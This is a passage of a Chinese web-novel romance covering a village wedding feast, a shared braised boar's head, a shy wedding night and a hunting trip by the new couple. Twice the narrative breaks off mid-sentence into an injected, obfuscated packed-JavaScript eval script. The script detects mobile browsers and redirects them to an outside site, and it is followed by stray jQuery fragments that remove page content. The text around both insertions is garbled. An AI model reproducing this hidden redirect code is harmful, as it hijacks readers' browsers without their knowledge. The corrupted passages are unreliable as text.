吉如意为霍云铮介绍着各位亲朋好友，每桌霍云铮都轻轻抿上一口，意思到了就行，也没有那不识趣的非要让他全都喝了。 到了吉有志这里，气氛略微有些尴尬，孙桂芳带着自家的几个孩子都在，吉有志不情不愿地接过了霍云铮倒的酒，孙桂芳别过头去，那意思很明显。 吉春花将碗拿过来：“给我倒，我爱喝上一口。” 吉春花翻了个白眼，气死你们。一场小插曲很快被吉春花打过，除了吉有志他们，谁都没放在心上。 敬完了吉庆丰，吉安连忙站起来说道：“云铮哥，我也敬你一杯。昨天多亏你救了我爹，多余的话我不多说，以后凡事你能用得到我的地方，你只管开口就是。” 霍云铮与他轻轻碰了碰杯，将酒全都喝了。 敬完了酒，姜临过来叫他们俩吃饭：“我给你们在屋里留了饭，这里交给我和你大爹爹就好，快去吃饭吧。” 吉如意问：“你们吃了吗？” “我们刚才吃了一口，你们快去吧，一会儿饭菜该凉了。”姜临催促着。 吉如意带着霍云铮去了他的房间，这以后就是他们俩的房间了。 霍云铮头一次进哥儿的房间，忍不住好奇地打量着，房间收拾得很干净，没有什么多余的布置，倒是窗台那摆着几盆花。 吉如意看他往那边看，有些不好意思地说道：“都是山上的野花，我瞧着好看就挖了回来。” “很好看的。”霍云铮诚心诚意地夸赞着，“等忙完了这阵，咱们俩到山上再多挖一些回来，我见山上有很多漂亮的花。到时候咱们摆满整个窗台，门外也可以栽一些的。” 吉如意轻轻嗯了声表示答应，心中更加欢喜。有的人家哥儿、姐儿的也喜欢花，也曾挖回家去，都被汉子们以不能吃不能喝为由给扔了。 姜临给他俩摆了一个炕桌，俩人就炕沿边坐下。吉如意觉得有些硌，伸手一摸，摸到了一把红枣和花生。 再看霍云铮，手里也抓着一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14396409|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，两人相互一看，又都像烫手似的把东西放下了。 “吃，吃饭吧。”吉如意努力保持着镇定。 霍云铮吃饭斯斯文文的，一点儿声都没有。不像有的汉子吧唧嘴，甚至还咳痰。 吉如意飞快瞧了一眼，忍不住悄悄笑。春心萌动时的那个人，就是这般样子的，真好啊。 霍云铮也忍不住去瞧吉如意，第一眼就相中的人，成了自己的夫郎，真好啊。 俩人又偷偷摸摸去瞧对方，视线不经意地碰撞，全都慌忙别开眼。 吉如意连脖子都红了，霍云铮也没好到哪里去，双颊泛着红。 “你今天真好看。”霍云铮说完了这话又意识到好像是说错了，连忙又说道，“你之前也好看，我的意思是，你每天都很好看。” 霍云铮觉得越说越错，怎么连句话都说不好了呢。 “我知道的。”吉如意说完马上意识到自己说的话有歧义，慌忙找补，“我是说我知道你说话的意思。”并不是说在自夸自己长得很好看。 俩人的视线又在空中相遇，谁都没忍住噗嗤笑了。这一笑，缓解了紧张的气氛，俩人终于能正常的边吃边聊。 外面还有人，俩人也不便慢慢吃，快速地吃完出去了。 外边很多人都吃完了，吉如意飞快地看了眼，每桌的菜几乎都不剩下什么。有一些婶子、夫郎拿着盘子在装剩下的菜，准备拿回去吃。 姜临和一些人在收拾碗筷，吉如意和霍云铮忙帮着收拾。碗筷和桌子都是借的，农户人家办事很多都是这样，等用完了再还回去。 人多干活也快，没用多长时间就已经收拾好了。 吉春花、吉春柳、姜辰和姜兆都要回去。 姜临偷着把吉春柳和姜辰叫了过去，拿出了两块烀熟的肉给他们。 吉春柳的婆婆对他不太好，这次来大吉村老太太都鼻子不是鼻子，眼不是眼的。如果吉春柳拿块肉回去，她看在肉的面子上，不至于再说什么难听的话。 姜辰和姜兆没分家，共同赡养着老娘，所以把肉给他俩谁都是一样的。姜家日子过得穷苦，因着吉上进的事，姜临已许久没回去看了，所以想让两个弟弟给老娘带回去一块肉。 除了这两块，他也没有再多的肉了。 吉春花还要在大吉村住上几日，也就没留她的。天热放不住，等她走时该坏了。 吉春花这几日都是在吉上进家住的，眼下喜事都办完了，就带着孩子去了吉勤奋家里住几天，然后再去吉庆丰家里，至于去不去吉有志家，到时候看她心情。 众人都走了，只剩下吉家四口人。吉上进今天特别高兴，甚至还喝了几口酒。 四人说了一会儿闲话，吉如意想去村长家把猪头拿过来做。 霍云铮立马道：“我去取。” 猪头很沉的，可不能累着如意。 霍云铮说去这就去，姜临看着他的背影满意地点点头：“还是小霍好啊。” 24. 第二十四章 村长家有水井，猪头就在他家水井里掉着呢。 见霍云铮来取，村长忙让儿子把猪头打上来。 村长拿出准备好的调料包，说道：“这是我准备的，我也不知道够不够，如果不够你们就再添些，到时肉就多留上一些。” 霍云铮答应着接了过来，接过猪头就走，野猪头吊在井里还带着一丝凉气呢。 村长的小孙子才五岁，正是看什么都好奇的年纪，想跟着去看怎么做。 村长指使儿子：“大勇，你也跟着去吧。”孩子得有人看着。 吉大勇答应着，三人出了门。没走出多远，遇到几个村民，村长请大家吃猪头肉的消息已经传遍了整个村子。 这人和人不一样，有的人觉得村长小气，大吉村人这么多，每人就算吃上一口都不够，就应该杀头猪请大家吃的。有的人觉得村长大方，那么大一个猪头，他没自己留着吃，反而让给大家吃了，瞅瞅人家。 霍云铮走了一路，跟着来的村民可不少。眼下没什么忙活，农人家娱乐活动还少，有个热闹就都想去看看。 姜临看着野猪头问吉如意：“要怎么做？”炒的话人太多了，分不到多少。 吉如意想了一下说道：“不如卤了吧，里面再放些别的东西，卤汁还能拌饭吃。” 姜临点点头：“那就按照你说的去做。” 刘老夫郎是个喜欢凑热闹的，家境又好，要不然也不能总坐牛车去镇上溜达。他听到父子二人的说话，问道：“跟平安镇上徐家卤味里卖的那样？” 吉如意回道：“对，就是那种卤味，只是我做出来的未必有徐记卖的好吃。” 徐记卤味在平安镇上很有名气，离着老远就能味道那股味道，勾人肚子里的馋虫。只要是去过镇上的，就没有不知道的。但徐记卤味卖得贵，很多人买不起或不舍得买。 左右都是卤味，再怎么做出来的都好吃。大家一听，对这次的猪头肉更加充满了期待。就算是没分到肉，分点儿汤回去泡饭也香呢。 就连刘老夫郎都没忍住偷偷咽了口口水，他家条件是好，但当老人的总是想为下一辈多留些银钱。他也就是在馋得受不了的时候，才去买点儿回来吃，算起来已经有日子没吃过了。 有人问道：“那是不是可以往里面添些素菜？我看徐记卖的不光有肉。” “可以，放些土豆片、萝卜、干豆腐、面条、菌子、胡瓜之类的都可以。”吉如意道，“大豆腐就不要往里面放了，容易碎，如果是用油煎了的倒还可以。” 刘老夫郎挺直了腰板：“既然可以放这么多东西，那咱们就多放一些。可也不能让吉老五家出，不如大家都出点儿东西，放在一起卤了吃。家里有食材的就拿食材，有调料的就拿调料，有柴火的就拿点儿柴火来。我先回去拿点儿去。” 刘老夫郎这么一带动，很多人纷纷回家取东西。 吉如意说的那些，也就是菌子、干豆腐、面条稍稍值些钱，剩下的都是家里菜园子里就有的，谁家都能拿得起。 吉如意叫姜临回屋歇息，他来做卤味。 霍云铮去处理猪头，大黑甩着尾巴总想去捣乱。 没一会儿，村民们就拿着东西陆续回来了。人多，每人拿一两个就已经很多了。 吉如意想要动手清洗，有夫郎、婶子没让他动手。 “今日是你大喜的日子，怎么能让你动手。再说了，这本来也是你帮着大伙儿做的，我们哪能只管等着吃现成的？” 甚至还把霍云铮撵到一旁，他们来处理猪头。 要不是天气热，怕猪头放不住，不应该今天就做猪头吃的。 小两口手里没了活干，相互看了看，吉如意心疼霍云铮，昨日好一番折腾，定是没休息好，于是便说道：“不如回屋里睡一会儿？卤肉好做，等婶子们把东西都弄出来以后，我调好料了放锅里煮着就行。” 霍云铮确实是很累，昨天晚上又兴奋的几乎一夜未睡，可吉如意没休息，他怎么能休息？但还是架不住吉如意往屋里推他，最终回房去睡了。 天热，霍云铮没盖被子，只躺在了褥子上，感觉四周萦绕着吉如意的气息，没过多久就进入到了黑甜乡。 等他醒来以后，卤味已经煮好了，整整煮了两大锅。 院子里满是卤味的香气，吉家的人越聚越多。 卤味浸泡一夜后的味道会更好，吉如意却掀锅打算分卤味了。一来他家要用锅，二来在他家一晚，万一有人说他们偷着藏肉了怎么办？ 正好吉大勇也在这里，就让他给大家分了。 他是村长的儿子，不出意外的话，就是下一任村长，由他来分最合适不过，谁都不会说什么。免得到时候有人说肉分多了、肉分少了。 大家早就拿着盆等着了。 “你是不是把脸盆拿来了？” “你还好意思说我？你也不看看你的盆，没比我的小多少。” 大家打着趣，说着话，吉家院子热热闹闹。 吉上进和姜临也休息好了出来，看着这样的场景乐呵呵的。 霍云铮自动自觉地找吉如意，就想和夫郎贴贴。 吉大勇让吉如意找个盆出来，他先给吉如意盛了两勺，特意多挑出肉来，谁都说不出什么。 然后，吉大勇让大家都排好队，插队的一律不给。大家听他这样说，原本有那个想插队的都老老实实排队，不敢再有多余的心思。 每人一勺，连汤带水的。有人想要多要，又没敢吃，只让吉大勇再多给来点儿汤，回去泡饭吃。 没排到的人吸吸鼻子：“虽然我没吃过徐记卤味，但闻着味可比徐记卤味的香。” 刘老夫郎忍不住当场就尝了一口，烫着了舌头，一边嘶嘶哈哈一边说：“好吃，比徐记的好吃多了。” 大家都知道刘老夫郎家境好，是吃过徐记卤味的，他说的话肯定对，对吉如意做的卤味又多了几分期待。 更多的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14396410|153379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人分到了卤味，几乎没人能忍住回家再吃，全都当场尝了一块。只要是尝过的，就没有不喜欢的，全都毫不吝啬地夸奖着。 吉如意被这么多人当着面夸，还有些不好意思，霍云铮倒是高兴，恨不得别人再夸。 离着吉如意这么近，霍云铮仿佛闻到了他在褥子上闻到的味道，心思开始活跃起来。先是一点一点往吉如意那面挪蹭，当俩人的距离已经近的不能再近了，他又状似不经意地用手背去触碰吉如意的手背，见吉如意没反应，胆子就更大一些了，伸出小拇指去勾吉如意的小拇指。 吉如意一怔，像做贼一样看看其他人的反应。大家的注意力全都放在了卤味的身上，根本没人注意他俩，这才放下心来，任由霍云铮去勾。 俩人的小拇指勾缠到了一起，怦怦怦、怦怦怦，是心跳的声音。 吉如意没忍住，去看霍云铮，见霍云铮正朝着他得意的笑，笑容明媚，晃到了他的眼。 吉如意马上低下头，不敢再去看，抿着唇笑了。 他们这边的小动作，旁人没瞧见，姜临可瞧见了。早在霍云铮用手背去贴吉如意手背的时候他就瞧见了，还叫了吉上进与他一起看。 两个当爹的见小两口感情好，自然更高兴了。 “意哥儿，我看你们都能到镇上开卤肉店了。”有人说道。 吉如意没这个想法，霍云铮心思倒是活络起来，此事确实可行。 两锅卤味很快就分完了，来得晚的没分到，吉大勇在这里也不敢说些什么。 此时天色渐晚，家家户户都炊烟袅袅。 吉如意也重新生起了火，今天的菜好做，中午席面还剩了些，还有卤味呢，只焖一锅饭就好。 霍云铮忙着他忙活着，没过多久，就将饭菜端上了桌。 一家人正好一人坐了桌子一边，将桌子围住。吉上进特别高兴，人瞅着比往日都要精神很多。前几日吉上进状态不好，瞅着都要活不了多久了，没想到今日倒是又好了。吉如意心中又升起了希望，大爹爹应当会没事的。 吃过晚饭，照旧将鸡圈关了，大门锁了。霍云铮跟着吉如意把活都干了，忙活了一天也该洗漱歇息。 “你洗澡吗？”吉如意问。 “洗，”霍云铮说道，“我就在院子里用凉水冲冲就好。”在霍秀兰家里，他和小山几个汉子都是这么洗的，只有霍秀兰和余英用浴桶洗。 “还是泡泡澡吧，泡完了舒服。” “那行，你先洗，你洗完了我用你的水洗。” 霍云铮说这话时只是考虑节约用水，免得总去挑。说完以后自己倒是脸先红了，说话有些磕磕巴巴：“我，我看缸里的水不多了，我再去挑一些回来。” 一想到一会儿要和霍云铮睡在一起，吉如意也有些紧张：“那，那你去吧。我先洗。” 霍云铮拎着两个桶，迈着长腿就走。大黑从窝里看了一眼，发现没什么事情，又抻了个懒腰，换个姿势继续睡。 25. 第二十五章 姜临和吉上进已经吹灯睡下，吉如意洗完了澡坐在屋里，听着外面哗啦啦的水声，手无意识地一下一下抠着被褥。 村里大多人家都没有井，为了省力气，很多人都会到河边浣衣，吉如意自然也去过。有时候就会听那群夫郎、婶子们问新成婚的哥儿、姐儿，什么厉不厉害的，只把他们问得满脸通红，羞得走了。 吉如意不明白什么厉不厉害的，但他现在的心情只怕和那些新嫁过来的哥儿、姐儿一样。 他摸摸自己的脸，在发烫。农人家为了省银子，都点油灯，光亮不大。以前吉如意觉得暗，现在却觉得正正好。 水声没了，吉如意知道霍云铮是洗完了，心里更加紧张。 没一会儿，只听咯吱一声门响，霍云铮走了进来。 高大俊美的汉子带着一身潮湿的气息向他走来：“门缺油了，等明天我上点儿油，省着总是响。” 似乎他们已经是做了许久的夫夫一样，闲话家常。吉如意紧张的心情，出奇地被霍云铮的这句话抚平了。 看到坐在炕沿上低眉顺眼的吉如意，霍云铮倒是紧张起来。 天气热，他又刚洗了澡，现在又是晚上，衣服穿得并不怎么整齐，松松垮垮的，精壮的胸膛若隐若现。吉如意看了一眼，瞥开目光，又看了一眼，又看了一眼。 “意哥儿……”霍云铮的声音有些发抖，在面对野猪时尚能保持清醒头脑的高大汉子，此刻有些发懵。 吉如意轻轻嗯了声，像猫轻轻在他的心上抓了一下，全身的血液极速聚集到了某处。 “那，那我吹灯了？”霍云铮问。 “别吹，要燃一夜呢。”新婚之夜，都要点一夜的灯，有那讲究的人家，会买蜡烛，他们家只用了普通的油灯。 “那，那早点儿歇息吧，都累了一天了。”高大的汉子手足无措的。 吉如意先拖鞋上了炕躺了下来，霍云铮狠狠地咽了口口水，也跟着上来了。 两人并肩躺在炕上，谁都没说话，过了须臾，霍云铮用胳膊肘支起上半身去看吉如意，在他的额头上轻轻吻了一下，这种事情总是要汉子先开始的。 “我，我开始了？”他轻声问道。 吉如意没说话，闭上眼睛代表了一切。他不知道开始是怎么个开始法？都需要干什么，没人和他说过在新婚之夜要做什么，霍云铮说做什么，他就跟着做什么便是了。 霍云铮的手哆哆嗖嗖地去解吉如意的衣扣，直到把他的衣服全解开了。 吉如意强忍住羞意，没动。 霍云铮摸摸鼻子，一股热流流了出来。他捂住鼻子急急忙忙翻身下炕，幸而他动作快，也幸而灯光暗，吉如意并没有看到他的鼻血流了出来。 到了外面，用冷水洗了几把脸，这才将血止住。 吉如意躺在炕上，还是没忍住将被子扯过来盖在身上。 霍云铮回来后，他也没问刚才的事，谁还没点儿小秘密呢？ 霍云铮深吸了一口气，三下五除二将衣服脱个精.光。 然后，上炕，拉过吉如意身上的被子和他躺在一起，睡觉。 也没人告诉他新婚之夜应该干什么，那天上山去抓梁满仓，他一直跟在吉如意身后，等他找到的时候，就看到梁满仓他们俩什么都没穿的躺在一起。 所以，就应该是这样的吧？ 霍云铮将吉如意搂抱在怀里，刚开始美滋滋的，这叫一个舒服！ 吉如意想了想，把手放在了霍云铮的胸膛上，摸了一把。又把手放在了霍云铮的腹肌上，又摸了一把。 刚才霍云峥进来的时候，他就盯上这两处了，终于可以摸摸了。 至于再往下却是不敢了，他倒是感觉有股热源离自己越来越近。 只摸了两把不太过瘾，今日刚成亲，也不好一个劲地摸，以后有都是机会。想到这里，吉如意心满意足地把手放了下去。 霍云铮抱着他越来越紧，心里和身上似乎都有一团火无处发泄，急得他汗都流了下来，却不知道该怎么办才好。 吉如意也难受，却不知该如何缓解这股燥热。 俩人都汗涔涔的，最后，霍云铮问道：“你难受吗？” “嗯。” “不如我去那边睡？” “好。” 也许不抱在一起睡就好了，吉如意又拿了一床被子，霍云铮说天气热，他不盖。 吉如意道：“别处不盖，把肚子搭上些。” 霍云铮从善如流地把肚子盖上，离得吉如意远了些，虽还是哪哪都不舒服，但到底是好了一些，应该能熬过去。 总觉得哪里不太对，两个人抱在一起应该是很舒服的，否则梁满仓也不能总去妓·馆。 到底哪儿不对呢？他想不明白，身体很难受，也容不得他再想。浑身上下火烧一下，霍云铮起身到外面冲了个凉水澡，回来时这才好受了些，没过多久便睡着了。 吉如意听到旁边传来均匀的呼吸声，知道霍云铮是睡着了。想了想，还是起来把里衣穿上了。 他又往那边看看霍云铮，偷偷地在他脸上亲了一下，又回到了原来的位置，睡了。 阳光透过窗帘带来一片温暖，吉如意昨晚睡了久违的好觉。他往那边看看，霍云铮还在睡着，被子听到的搭在肚子上，但也只遮住了肚子，其他地方一览无余。 昨晚光线太暗，他又没好意思去看，这会儿人睡了，便光明正大地去看。 好害羞啊。 瞥了一眼，没忍住又看了一眼，将霍云铮上上下下全都打量了一遍。 原来汉子的身体是这样的，尤其，尤其那个部位，比他的要雄壮多了。 霍云铮的眼睛动了动，吉如意急急忙忙躺了回去。 霍云铮醒了，看到小夫郎安静的睡着，满心欢喜地凑了过去，将人搂在怀里，狠狠地吸了一口。 这就是有夫郎的感觉，真好。 吉如意也趁势“醒了”，四目相对，霍云铮没忍住在他脸上亲了一口。见吉如意懵懵地看着他，心中更是有说不出来的喜悦，又在另一边的脸上亲了一口。 最后，在那张红唇上重重 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刚吃完饭，吉如意正要刷碗，就瞧见乔哥儿找他来了。 他甩了几下手出去了，乔哥儿鬼鬼祟祟地将他拉到一旁，抱着肩膀，用一种审视的目光看着他：“说说吧，到底怎么回事？” 身为吉如意最好的朋友，他竟然昨天才知道，吉如意的成婚对象换人了！ 吉如意没有隐瞒，将事情的经过说了一遍。 乔哥儿气得咬牙切齿：“只让他赔二十八两银子太亏了！应该再让他多赔些的，可恨我才知道，要不然我也揍他一顿了。” 再想起这件事，明明只是前天发生的，现在却感觉似乎过了好久。 “不过那个梁满仓确实配不上你，哪像霍云铮啊，”乔哥儿又说道，“这样的汉子才配得上你。” 吉如意抿唇一笑。 “一会儿我们俩上山，你去吗？” “今个儿不和你去了，你们刚成亲，我跟着凑什么热闹。”朝着吉如意挤眉弄眼一番，笑着跑了。 吉如意面上浮出笑意，回去准备再刷碗，发现碗已经被霍云铮刷完了。 “如意——如意——” 听到霍云铮在屋里叫他，吉如意走了进去。 “你把手伸出来，手心朝上，”霍云铮一脸的神秘，“我有东西给你。” 吉如意好奇地伸开手，只在霍云铮将一个荷包放在了他的手上，一脸得意地看着他笑：“这是我这阵子打猎赚到的银子，花了一些，还剩这么多，以后我赚的银子都给你管着。” 还有一张兔子皮的，霍云铮不会鞣，送给霍秀兰了，让她找人鞣制好了，做一个围脖戴。 吉如意的一颗心被填补的满满当当的，他将银子倒出来一看，有两块碎银子，还有一些铜板，一共是两千八百六十三文。 霍云铮从背后环抱住他，将下巴放在他的肩上：“我会努力让你过上好日子的，我发誓。” 26. 第二十六章 吉如意和霍云铮一人背着一个背篓上了山，本来大黑也想跟着去的，吉如意没让。这是他头一回跟霍云铮上山，才不想有其他人呢，有狗也不行。 今天的天特别蓝，一丝云彩都没有，心情也如同天气这般明媚。 一路上，零星的遇到了几个人，打过招呼后，便各自散了。 上山以后，就再也瞧不见人了，只有虫鸣鸟叫。 野花散发出的幽香沁人心脾，令人忘忧。 霍云铮看到一株接近橘色的，长瓣的，靠近花蕊处带有芝麻斑点的花，想将它挖出来栽在家里。 吉如意见他还记得昨日说的话，自是十分欣喜，不过阻止了他想要挖花的举动：“回来再挖，天气太热，还不知道要在山上待多久呢。花娇嫩，时间久了怕是会蔫死。何况咱们的背篓里还什么都没有，把花放在最下面也会压死的。” 霍云铮一听他说的有道理，又伸回了手：“那等回来了咱们再挖。” 吉如意答应着，又见霍云铮朝他伸出的手，将手递了过去，两只手交缠在了一起。 “好些天没来看了，不知道陷阱里会不会有猎物？”霍云铮充满了期待。 前面有道沟，霍云铮先长腿一伸迈过去，转身将手递过来，吉如意借着他的手也迈了过去。 “你布置了几个陷阱？” “三个，咱们先去陷阱那边看看有没有收获，然后我找棵桦树做一把弓。” “我知道哪的桦树长得好，我带你去。正好那边还有片榛子林，我去采摘些榛子。” “榛子？”霍云铮想不起来自己有没有吃过。 “跟瓜子似的，生的熟的都能吃，”吉如意解释道，“不过处理的时候要小心榛子壳外面的青皮，弄到身上很难洗掉。除了榛子，还有核桃外面的青皮也都难洗，不过核桃皮等着它自己褪去就好了，倒是不难弄。” “原来核桃外面也有皮啊？”霍云铮在平安镇上时看到过有人卖核桃，倒没买过，他看到的核桃外面没有吉如意所说的青皮。 “有一层绿色的皮，等找到了核桃树你就知道了。”吉如意在山上走路的速度很快，整个人充满着活力，说起这些时脸上带着笑意，“等冬天来了，很多人家都会把火盆放在炕上，在火盆里面放一些苞米芯子烤火，然后就把核桃放在火盆里烧，开口之后用刀或者斧子轻轻一砍就全开了，然后再拿根牙签挑里面的肉吃。” 霍云铮想象了一下那样的场景，外面寒风呼啸，大雪纷飞，屋里烧得热乎乎，大黑趴在地上睡觉。一家人围坐在火盆前，边烧着核桃边聊天，这是何等惬意的场景，只觉得从内而外地舒心。 霍云铮笑道：“到时我给你挑核桃仁吃。” 吉如意心里乐得开花，笑意在脸上呈现：“那咱们得多摘些，冬天的时候好吃，再过两个多月天气就冷了，估计再有三个月就该下雪了，那时候可就进不了山了，要等到来年四月份雪才会化呢。” 霍云铮在心里盘算着自己还能再打多长时间的猎：“雪会下的很厚吗？” “是啊，浅的地方都要没过膝盖呢，深的地方都要没腰了。” 吉如意的个子并不矮，比很多小哥儿都要高，只比霍云铮矮了半头。 霍云铮咋舌，这么深的雪，他见过吗？不记得了。 雪那么大是万万进不得山的，除去秋收，下雨，真正能打猎的时间并没有多少了。得抓紧时间多猎些猎物，攒些银钱，好舒舒服服地过一冬。 霍云铮道：“我看大黑很聪明，我多加训练，就能和我进山打猎了。” “大黑能行吗？我听人说猎犬得从小就要训。”吉如意看过陈猎户家的猎犬跟着他上山打猎，有三四条呢，个个凶神恶煞的，簇拥着陈猎户，可威风了。 “能行的，大黑特别聪明。”说着，他便将那日打野猪的经过说了一遍。 “大黑没受伤吧？”吉如意先是担忧，随即又想起它毛发未伤，又惊喜道，“它还敢去斗野猪，胆子真大。你再教教它，兴许真能和你上山打猎。” 要是这样就好了，霍云铮会省下一些的力气，吉如意又有些后悔今日没让大黑跟着上山。 霍云铮说道：“等回去后我再教教它，下次上山把它也带上。” “行，但只大黑一条狗是不是太少了，我看陈猎户养了好几条狗呢，不如再买几条狗，从小训练？”吉如意提意道。 “你说的对，咱们平时留心着谁家有好狗，有合适的就买过来。” 说话间，已经到了霍云铮布置的第一个陷阱那。 “小心。”他一手挡在吉如意身前，自己先慢慢往那边靠了过去。 吉如意还是头一次这么直观地看捕猎，下意识地放缓呼吸，朝那里看去。 陷阱里有动静，应该是有猎物。 霍云铮几步走到陷阱旁，扒开伪装，往里一看：“是几只兔子。” 吉如意双眼放光：“有几只？快抓上来。” 来到大吉村以后，霍云铮也抓了不少的猎物了，可没有一次像这次这般只抓了几只野兔就让他如此高兴。 霍云铮将野兔抓了上来，一共有四只。 吉如意急忙拿来笼子，将野兔装进去。 “这些野兔也不知饿了几天了，”吉如意看着笼子里的野兔皱眉，“我去给它们拔点儿草喂喂。” 霍云铮心里暖暖的，小夫郎太心善了，见不得猎物挨饿。 “饿瘦了可就卖不上银子了。”吉如意又说道。 …… 第二个陷阱里有两只野鸡，竟然还有一只花尾榛鸡！比野鸡贵上数倍，能卖得个好价钱。 吉如意又欢欢喜喜的捆起来，放在了霍云铮的背篓里。 俩人都对最后一个陷阱充满了期待，远远的就瞧见一头鹿的脑袋！ “是鹿！”吉如意忍住激动的心情，没敢大声说出来。 霍云铮也很高兴，这头鹿可是个大家伙，定能卖个好价钱。 鹿可能是刚掉到陷阱里的，尝试着往外跳。察觉到危险来临，跳得更加用力，最后，在霍云铮快要到的时候，奋力一跃，竟从里面跳了出去。 霍云铮急得拿起弹弓朝鹿打了过去，打是打中了，但弹弓对于一头成年雄鹿来说，并不值得一提 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吉如意顺着他的目光去看，吓得心快跳了几拍，只见不远处一条褐色的蛇竖起了身子，做攻击状。 是短尾蝮蛇！这种蛇的毒性很强，如果不慎被它咬到，只怕凶多吉少。 吉如意心提到了嗓子眼上，不敢乱动，朝霍云铮伸出了一只手，那意思很明显。 霍云铮又比划了一个手势，让他小心。而后，用了余禾教给他的那几招，竟将短尾蝮蛇活捉了。 山上虫蛇多，余禾祖上曾是捕蛇人，后来渐渐不做了。余禾自小学过几招，他怕霍云铮在山上遇到危险，就教了他一些捕蛇的方法，没想到今日真用上了。 短尾蝮蛇可以入药，卖价很高。跑了一头鹿，来了一条蛇，霍云铮很满意。 他小心地将短尾蝮蛇装起来放进背篓里，确定没危险后，朝吉如意伸手：“下来吧，我接着你。” 吉如意往下一跳，被霍云铮稳稳当当地抱在了怀里。 “真的没事吗？”吉如意不放心地看向背篓。 “没事的，大姑父教过我捉蛇。”霍云铮笑道，“我听他说过的样子，这应该是条短尾蝮蛇，很值钱的。” 吉如意皱眉道：“再值钱以后也不能抓，太吓人了。” 霍云铮笑着答应：“好好好，以后不抓了，我抓些没毒的蛇总可以吧。” “可以是可以，”吉如意还是有些不太赞同，“只是尽量还是不要抓。” 霍云铮将背篓离得吉如意远了些：“是怕蛇吗？” “怕倒是不怕，在村里就经常能看到蛇呢，有时候去柴房抱柴，还能看到褪掉的蛇皮呢，我就是看那玩意膈应。” 这回轮到霍云铮皱眉了：“柴房还有蛇？咱们明天去镇上多买些驱虫避蛇的药来，在房前屋后多撒一下。” 吉如意走在前面，俩人要去找桦树和榛子：“行，到时候你上山也带着些，省着再遇到蛇。也好尽快把刚才那蛇卖掉，还要在镇上买些东西回来，后日咱们俩得去大姑家。” 27. 第二十七章 榛子树并不是很高，很大一片林子，已经被人采摘过一些了，倒是还有很多。 吉如意望着眼前的榛子林，快活地说道：“你看那边那棵树就是桦树，你去砍树吧，我去摘榛子。” 说着，一溜烟地跑到榛林里，欢快地采摘。 榛子的价格比瓜子和花生贵一些，很多人家采回去后舍不得吃，会拿到镇上卖。 吉如意打算今年多采摘一些，一部分卖了换银子，再多留一些自己家吃。 霍云铮将背篓放在一边，开始砍树。 日头越来越高，又干力气活，汗水直流，左右四处也无人，霍云铮便将衣服脱下，放到一旁，赤着上身干活。 吉如意采摘完满满一背篓的榛子回来时，入目白花花的一片。高大的汉子肌肉紧实，每一块都充满着力量与美感。 吉如意先是有些有些不好意思，随即一想，他们已经是夫夫了，自己看一看是很正常的事。他不光要看，还要摸。 这样想着，手已经伸了过去。 霍云铮早就知道吉如意来了，只是没想到小哥儿胆大的来摸他。 吉如意的手长得非常好看，葱削般的修长，又骨骼分明。因常年劳作的缘故，他的手有着一层厚厚的茧子，并不细腻。 每摸一下，霍云铮心中那团火就愈发旺盛，他不知该如何排解，怎样排解。趁着快要一发不可收拾之前，装作一副若无其事的样子连忙道：“这么快就摘完了？” 吉如意将手从他的身上拿下来，又将背篓给霍云铮看：“我打算把外面的青皮都扒下来，然后再摘些。” 榛子像花苞似的被青皮簇拥在里面，青皮支楞巴翘很是占地方，将它扒去，还能多摘不少榛子呢。 往常吉如意是不会在山上扒青皮的，今个儿是霍云铮做工需要时间，他就把青皮扒掉，也是陪他了。 俩人找了个阴凉处坐下，霍云铮取出今早在井里打出来的水，现在还冒着凉意呢，他先给吉如意喝过后，自己才大口喝起来。 吉如意扒开榛子外面的青皮，将榛子放嘴里用力一咬，榛子壳应声而裂，他将榛子外壳扔掉，露出里面白嫩嫩的仁，放进霍云铮的嘴里。 突然被小夫郎投喂，霍云铮忙在嘴里细细的嚼着：“好吃，这味道确实不错。” “等以后我给你炒一锅熟的。” 吉如意只觉得这日子越来越有了盼头，大爹爹这几天的精神又好起来了，家里的外债也都还完了，自己还找到个如意郎君。 “那我可等着吃了，”霍云铮还真是很期待的，他又想起了什么，“如意，你有没有想过到平安镇上做点儿吃食卖？” “做点儿吃食卖？”吉如意摇摇头，“从来没想过，镇子上卖吃食的很多都是汉子，虽然也有小哥儿在卖，但也是跟着家里的兄弟一起，或者是已经成了亲的夫郎。” 吉家人少，还有农活要干，就算吉如意想卖，没人陪他去，两个爹爹都不会同意的。 霍云铮笑道：“你现在有我了。” 吉如意不太自信：“镇上卖吃食的可多了，我去了能卖什么。” “卖什么吃食都行啊，村里人都不夸你厨艺好吗？”霍云铮对小夫郎的厨艺还是很有自信的。 吉如意还是没有信心：“那是村里人没吃过什么好的，自然就觉得好吃。镇上的人总吃好的，只怕相不中我做的。” 霍云铮没有再说什么，想着明天带小夫郎去镇上吃一顿他就会转变想法的。 当吉如意把背篓里的榛子全都扒完后，他又去采摘的一趟。 中午的时候，俩人就在山上吃的，要不然一来一回费时费力。早上从家里拿了几个馒头，就着水就吃了。 一直到下午，吉如意的背篓也装满了，霍云铮的弓身也做好了。 吉如意问：“弓弦怎么办？” 霍云铮早就想好了：“用马鬃就行，福满堂有马，之前他们说过有猎物就给他们送去，我明天送猎物过去，顺便问问他们卖不卖马鬃。” 霍云铮主动去背吉如意的背篓，榛子装得满满登登的一下子，得有几十斤，还挺沉的。 他把蛇拿出来，这才让吉如意背他的，他的比较轻些。 